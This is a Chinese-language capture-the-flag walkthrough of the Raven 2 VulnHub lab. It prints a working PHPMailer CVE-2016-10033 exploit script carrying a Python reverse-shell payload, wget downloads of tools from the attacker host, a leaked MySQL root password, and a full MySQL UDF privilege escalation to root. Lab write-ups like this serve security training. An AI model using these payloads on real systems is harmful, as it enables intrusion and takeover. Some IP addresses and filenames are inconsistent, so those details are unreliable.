Raven: 2靶机入侵

野性酷女 2024-04-07 10:54 51阅读 0赞

### 0x00 前言 ###

Raven 2是一个中等难度的boot2root 虚拟靶机。有四个flag需要找出。在多次被攻破后，Raven Security采取了额外措施来增强他们的网络服务器安全以防止黑客入侵。

靶机下载地址：https://download.vulnhub.com/raven/Raven2.ova

### 0x01 存活主机 ###

1.在windows上的scan ports工具对目标整个网段(192.168.1.0/24)进行扫描发现192.168.1.12就是目标靶机，并开放了80，22，111端口。

![1c3416dfc297aeb515243886c881df6e.png][]

2.在linux下可通过arp-scan和**netdiscover****命令进行主机存活探测,****发现****192.168.1.101****是目标靶机.**

root@backlion\#arp-scan -l

root@backlion\#netdiscover -r192.168.1.0/24

![3bcd8972fc12b3e2a9b5d6d38a9ad439.png][]

![9d7e9a40565f35e1b08579ffeb6abad4.png][]

### 0x02 端口探测 ###

1.通过namp对目标主机进行端口扫描

**nmap -A192.168.1.12**

![fb0326fe1628d35b7c0f8d7fc15adcaa.png][]

2.发现22，80和111端口是开放的，其中80端口运行了一个web应用,可以通过入侵web进入系统，爆破22端口由于目标靶机设置的系统口令太强，这里不建议爆破。

![cd0fc0c3c32b19cc72cfd09091facbc9.jpeg][]

### **0x02 目录猜解** ###

1.在linux中可以使用dirb进行目录扫描

![3d1ba2b0a6bb67b54aed4b1d7dea858d.png][]

2.同时也可以在windows上通过dirbuster进行目录扫描，更直观地看出目录结构。

![8ea62fe283b7690c7732140bffd2bf45.png][]

3.扫到几个一级目录，一个个查看下文件的内容，在/vendor/目录下发现了两个有趣的东西：[http://192.168.1.32/vendor/PATH][http_192.168.1.32_vendor_PATH]，可以看到flag1和绝对路径

![60cabd83285e0931f07951bf79d0601b.png][]

4.访问[http://192.168.1.12/vendor/VERSION][http_192.168.1.12_vendor_VERSION],发现某个软件的版本号，但不知道具体是那个软件。

![c22a5d5ca62b75be759e95c2b8812696.png][]

同时目录下还存在一个PHPMailerAutoload.php的文件，配合起来看应该是使用了5.2.16版本的PHPMailer**。**

### **0x03 反弹****SHELL** ###

1.在kali上可以直接通过serachsploit进行搜索phpmailer存在漏洞的exp

root@kali2018:~\# searchsploit phpmailer

\------------------------------------------------------------------------------------------------------------------------- ----------------------------------------

Exploit Title | Path

| (/usr/share/exploitdb/)

\------------------------------------------------------------------------------------------------------------------------- ----------------------------------------

PHPMailer 1.7 - 'Data()' Remote Denial of Service | exploits/php/dos/25752.txt

PHPMailer < 5.2.18 - Remote Code Execution (Bash) | exploits/php/webapps/40968.php

PHPMailer < 5.2.18 - Remote Code Execution (PHP) | exploits/php/webapps/40970.php

PHPMailer < 5.2.18 - Remote Code Execution (Python) | exploits/php/webapps/40974.py

PHPMailer < 5.2.19 - Sendmail Argument Injection (Metasploit) | exploits/multiple/webapps/41688.rb

PHPMailer < 5.2.20 - Remote Code Execution | exploits/php/webapps/40969.pl

PHPMailer < 5.2.20 / SwiftMailer < 5.4.5-DEV / Zend Framework / zend-mail < 2.4.11 - 'AIO' 'PwnScriptum' Remote Code Exe | exploits/php/webapps/40986.py

PHPMailer < 5.2.20 with Exim MTA - Remote Code Execution | exploits/php/webapps/42221.py

PHPMailer < 5.2.21 - Local File Disclosure | exploits/php/webapps/43056.py

WordPress PHPMailer 4.6 - Host Header Command Injection (Metasploit) | exploits/php/remote/42024.rb

\------------------------------------------------------------------------------------------------------------------------- ----------------------------------------

Shellcodes: No Result

**![9ff83e3a3a4ace669390dd4c08128679.png][]**

cp /usr/share/exploitdb/exploits/php/webapps/40974.py /opt

cd /opt

2、也可以到[exploit-db.com][]搜索，并发现利用exp地址：

[https://www.exploit-db.com/exploits/40974][https_www.exploit-db.com_exploits_40974]

![3ebea31c2ae31f7ba601ab66dbfa1c55.jpeg][]

简单修改一下exp：

a.顶部加上\# -\*- coding: utf-8 -\*-声明，否则注释里一大堆非ASCII字符会报错。

b.修改target为靶机IP地址，利用文件为contact.php。

c.修改后门文件路径名称。也不知道为什么，用默认的backdoor.php总是利用不成功，把payload改成shell.php最终利用成功。

d. 修改反弹shell的地址为nc监听服务器的ip(KALI主机IP)和端口。

e.运行该python脚本需要安装对应的包(pip install requests-toolbelt)，如下地址下载并手动安装

[https://files.pythonhosted.org/packages/86/f9/e80fa23edca6c554f1994040064760c12b51daff54b55f9e379e899cd3d4/requests-toolbelt-0.8.0.tar.gz][https_files.pythonhosted.org_packages_86_f9_e80fa23edca6c554f1994040064760c12b51daff54b55f9e379e899cd3d4_requests-toolbelt-0.8.0.tar.gz]

![638a6c331644e0dc45f8d822b97746e1.png][]

3.最终修改成的POC:

# -*- coding: utf-8 -*-
    
    from requests_toolbelt import MultipartEncoder
    
    import requests
    
    import os
    
    import base64
    
    from lxml import html as lh
    
    os.system('clear')
    
    print("\n")
    
    print(" █████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")
    
    print("██╔══██╗████╗██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")
    
    print("███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝")
    
    print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗")
    
    print("██║██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║")
    
    print("╚═╝╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚═╝")
    
    print("      PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")
    
    print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")
    
    target = 'http://192.168.1.12/contact.php'
    
    backdoor = '/backlion.php'
    
    payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.1.11\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'
    
    fields={
         'action': 'submit',
    
       'name': payload,
    
       'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/backlion.php server\" @protonmail.com',
    
       'message': 'Pwned'}
    
    m = MultipartEncoder(fields=fields,
    
                         boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')
    
    headers={
         'User-Agent': 'curl/7.47.0',
    
             'Content-Type': m.content_type}
    
    proxies = {
         'http': 'localhost:8081', 'https':'localhost:8081'}
    
    print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
    
    r = requests.post(target, data=m.to_string(),
    
     headers=headers)
    
    print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
    
    r = requests.get(target+backdoor, headers=headers)
    
    if r.status_code == 200:
    
        print('[+]ExPLoITeD ' + target)

然后执行exp,可以看到生成了一个利用用文件contact.php

![646246204a2c6e0a23f2f63c3edbfb58.jpeg][]

6.访问**contact.php(**http://192.168.1.12/contact.php),此时就会生成后门文件**shell.php**

![2f546e9b300938c7663da835211761a2.jpeg][]

7.接着访问后门文件：[http://192.168.1.12/][http_192.168.1.12]shell.php

![144923ee0d4fa78af645ae250d44003d.png][]

8.开启nc服务器监听,在服务器上得到反弹shell

![ab46171f9d292f87b425d6c8963cac54.jpeg][]

9.进入到wordpress目录下的配置文件。然后查看其数据库配置连接信息

cd /var/www/html/wordpress

cat wp-config.php

![3791001cf4730f6b39beabe104fa4b9d.png][]

![05c636eeecbd76b01d8accc1000e4d07.png][]

10.查看一下mysql的运行权限(可以看到mysql是以root运行，并且也显示了mysql的plugin目录)

ps -ef|grep mysql

![fad3133965fd4c2fffcae450a7d1f416.png][]

11.进入mysql数据库终端，可以查看数据库的版本，也可以查看plugin目录

www-data@Raven:/var/www/html/wordpress$ mysql -u root -pR@v3nSecurity

![7ad4cb8665ae09569431d4f8f6ef24e8.png][]

12. nc模式下的shell不支持su交互，先利用python提升到伪终端

python -c "import pty;pty.spawn('/bin/bash')"

进入到网站目录页面发现存在flag2.txt  
cd /var/www

cat flag2.txt

![cfb5f9b1899c9561c4fcb4e6712de911.jpeg][]

13.接下来直接先全局搜flag：

www-data@Raven:/var/www/html$ find / -name "flag\*"

找到flag3，是图片，直接访问http://192.168.1.13/wordpress/wp-content/uploads/2018/11/flag3.png

![6581fa54ac33794fe5fb32b1ff6d1b3f.png][]

**14.然后切换到****/tmp****目录，下载****LinEnum.sh****脚本，该脚本是**一个用于枚举许多基本和高级linux详细信息的脚本。

cd /tmp

wget http://192.168.1.109/LinEnum.sh

chmod 777 LinEnum.sh

./LinEnum.sh

![f90f66c9ce82ae50169a45cdd443b89e.jpeg][]

我们发现了**MySQL-Exploit-Remote-Root-Code-Execution-Privesc**漏洞！(更多信息：[https][]：[//legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html][https])

![e7f26912da7fa39728f149819955d3b2.jpeg][]

15.接着就是利用提权exp的利用了[https://www.exploit-db.com/exploits/1518][https_www.exploit-db.com_exploits_1518]在攻击机KALI主机上进行编译生成so文件：

root@kali2018:~\# wget [http://192.168.1.5/raptor\_udf.c][http_192.168.1.5_raptor_udf.c] \#kali系统必须是64位系统，不然会报错

root@kali2018:~\# gcc -g -c raptor\_udf.c

root@kali2018:~\# gcc -g -shared -o raptor\_udf.so raptor\_udf.o -lc

![ecd8d7803c10f8deaaff43d023b9c4a6.png][]

16.从攻击机上下载提权利用exp文件: raptor\_udf2.so

www-data@Raven:/var/www/html/wordpress$ cd /tmp

www-data@Raven:/tmp$ wget http://192.168.1.11:8080/raptor\_udf2.so

![5c44be752dcf4db4f46cdae5767b3442.png][]

然后通过mysql进行UDF提权(执行sql语句，其中dumpfile的路径要根据前面进程列出来的plugin目录(plugin-dir=/usr/lib/mysql/plugin)改动一下)：

mysql>  use mysql;
    
     use mysql;
    
    Reading table information for completion of table and column names
    
    You can turn off this feature to get a quicker startup with -A
    
     
    
    Database changed
    
    mysql> create table foo(line blob);
    
    create table foo(line blob);
    
    Query OK, 0 rows affected (0.08 sec)
    
     
    
    mysql> insert into foo values(load_file('/tmp/raptor_udf.so'));
    
    insert into foo values(load_file('/tmp/raptor_udf.so'));
    
    Query OK, 1 row affected (0.01 sec)
    
     
    
    mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so';
    
    select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so';
    
    Query OK, 1 row affected (0.11 sec)
    
     
    
    mysql> create function do_system returns integer soname 'raptor_udf.so';
    
    create function do_system returns integer soname 'raptor_udf.so';
    
    Query OK, 0 rows affected (0.00 sec)
    
     
    
    mysql> select * from mysql.func;
    
    select * from mysql.func;
    
    +-----------+-----+---------------+----------+
    
    | name      | ret | dl            | type     |
    
    +-----------+-----+---------------+----------+
    
    | do_system |   2 | raptor_udf.so | function |
    
    +-----------+-----+---------------+----------+
    
    1 row in set (0.00 sec)
    
     
    
    mysql> select do_system('chmod u+s /usr/bin/find');
    
    select do_system('chmod u+s /usr/bin/find');
    
    +--------------------------------------+
    
    | do_system('chmod u+s /usr/bin/find') |
    
    +--------------------------------------+
    
    |                                    0 |
    
    +--------------------------------------+
    
    1 row in set (0.01 sec)
    
     
    
    mysql> exit
    
    exit
    
    Bye
    
    www-data@Raven:/tmp$ touch finn
    
    touch finn
    
    www-data@Raven:/tmp$ id
    
    id
    
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
    www-data@Raven:/tmp$ find finn -exec "/bin/sh" \;
    
    find finn -exec "/bin/sh" \;
    
    # whoami
    
    whoami
    
    root
    
    #

![4f936be28fcb548533d145f0cb862541.png][]

![1d6c87d30561d35fa6084d08f10155b7.png][]

17.最后进入到root目录，可以查看到falg4.txt

\# cd /root

cd /root

\# ls

\# cat flag4.txt

cat flag4.txt

\_\_\_ \_\_\_ \_\_\_

| \_ \\\_\_ \_\_\_ \_\_\_\_\_ \_ \_ |\_ \_|\_ \_|

| / \_\` \\ V / -\_) ' \\ | | | |

|\_|\_\\\_\_,\_|\\\_/\\\_\_\_|\_||\_|\_\_\_|\_\_\_|

flag4\{df2bc5e951d91581467bb9a2a8ff4425\}

![7b1a14720bd6af01e31bf85c5eeee363.png][]

[1c3416dfc297aeb515243886c881df6e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/d5fa00b9a5e44e529aad5c33284cc78e.png
[3bcd8972fc12b3e2a9b5d6d38a9ad439.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/640b3539c47b401096c24024a9a03e06.png
[9d7e9a40565f35e1b08579ffeb6abad4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/bfcb8e683916427eb7826dd2bd6c43d8.png
[fb0326fe1628d35b7c0f8d7fc15adcaa.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/a10145ac13004150b5b707b39259dbfc.png
[cd0fc0c3c32b19cc72cfd09091facbc9.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/6aad4f4b3bd34dd5815a4ea96b70a20d.jpeg
[3d1ba2b0a6bb67b54aed4b1d7dea858d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/84db8b7251a247d192fdd06cabec9a09.png
[8ea62fe283b7690c7732140bffd2bf45.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/705a10fdd6364aa7af9f57dae50f3c95.png
[http_192.168.1.32_vendor_PATH]: http://192.168.1.32/vendor/PATH
[60cabd83285e0931f07951bf79d0601b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/a687c7bd757a4a458bb115153178c7a1.png
[http_192.168.1.12_vendor_VERSION]: http://192.168.1.12/vendor/VERSION
[c22a5d5ca62b75be759e95c2b8812696.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/f15a9cef43e44364a24ecd36ad81c9b7.png
[9ff83e3a3a4ace669390dd4c08128679.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/81264d97ac0b4cbdb46923377de94c9e.png
[exploit-db.com]: https://www.exploit-db.com/
[https_www.exploit-db.com_exploits_40974]: https://www.exploit-db.com/exploits/40974
[3ebea31c2ae31f7ba601ab66dbfa1c55.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/e32af3cd36cd4d7ca01a8415f954cc1c.jpeg
[https_files.pythonhosted.org_packages_86_f9_e80fa23edca6c554f1994040064760c12b51daff54b55f9e379e899cd3d4_requests-toolbelt-0.8.0.tar.gz]: https://files.pythonhosted.org/packages/86/f9/e80fa23edca6c554f1994040064760c12b51daff54b55f9e379e899cd3d4/requests-toolbelt-0.8.0.tar.gz
[638a6c331644e0dc45f8d822b97746e1.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/722ec015949848218dfca74e7ba8bbac.png
[646246204a2c6e0a23f2f63c3edbfb58.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/90aa71ec3617490ea11277123f05ed2e.jpeg
[2f546e9b300938c7663da835211761a2.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/ffaccb901635462bba4197db68d12944.jpeg
[http_192.168.1.12]: http://192.168.1.12/
[144923ee0d4fa78af645ae250d44003d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/a46acdf23cad4aa18ee1e9372faa3df0.png
[ab46171f9d292f87b425d6c8963cac54.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/baf902cbb79948c782045aae98c9a187.jpeg
[3791001cf4730f6b39beabe104fa4b9d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/d3bacf6127544f6a821fbfb3cd16eee3.png
[05c636eeecbd76b01d8accc1000e4d07.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/04cca315d4c34c80994fedf44f399187.png
[fad3133965fd4c2fffcae450a7d1f416.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/6f0342074d4a482cad7a65512ae82430.png
[7ad4cb8665ae09569431d4f8f6ef24e8.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/6db8dd49a3af4e6abfef101b893e848b.png
[cfb5f9b1899c9561c4fcb4e6712de911.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/08f2b8d5129d4031ba1e4cc22de1ec5e.jpeg
[6581fa54ac33794fe5fb32b1ff6d1b3f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/93270507e52a4b2c89d4a7a3fbcb2c7a.png
[f90f66c9ce82ae50169a45cdd443b89e.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/a20841340c824be9aebd7033bac6ff49.jpeg
[https]: https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html
[e7f26912da7fa39728f149819955d3b2.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/13fdab7c7b3746049e8971d5f6ef1262.jpeg
[https_www.exploit-db.com_exploits_1518]: https://www.exploit-db.com/exploits/1518
[http_192.168.1.5_raptor_udf.c]: http://192.168.1.5/raptor_udf.c
[ecd8d7803c10f8deaaff43d023b9c4a6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/c65e737b1036445a963a6f9e4ed31149.png
[5c44be752dcf4db4f46cdae5767b3442.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/deb8ddf5347b49d181da9771aea0d7be.png
[4f936be28fcb548533d145f0cb862541.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/40009a5e479c4eefa4f51afe5f955588.png
[1d6c87d30561d35fa6084d08f10155b7.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/c63fe23026c24d9f8029893e162fb2e9.png
[7b1a14720bd6af01e31bf85c5eeee363.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/be14417539dd4c7e96f5dd6bf39a91b3.png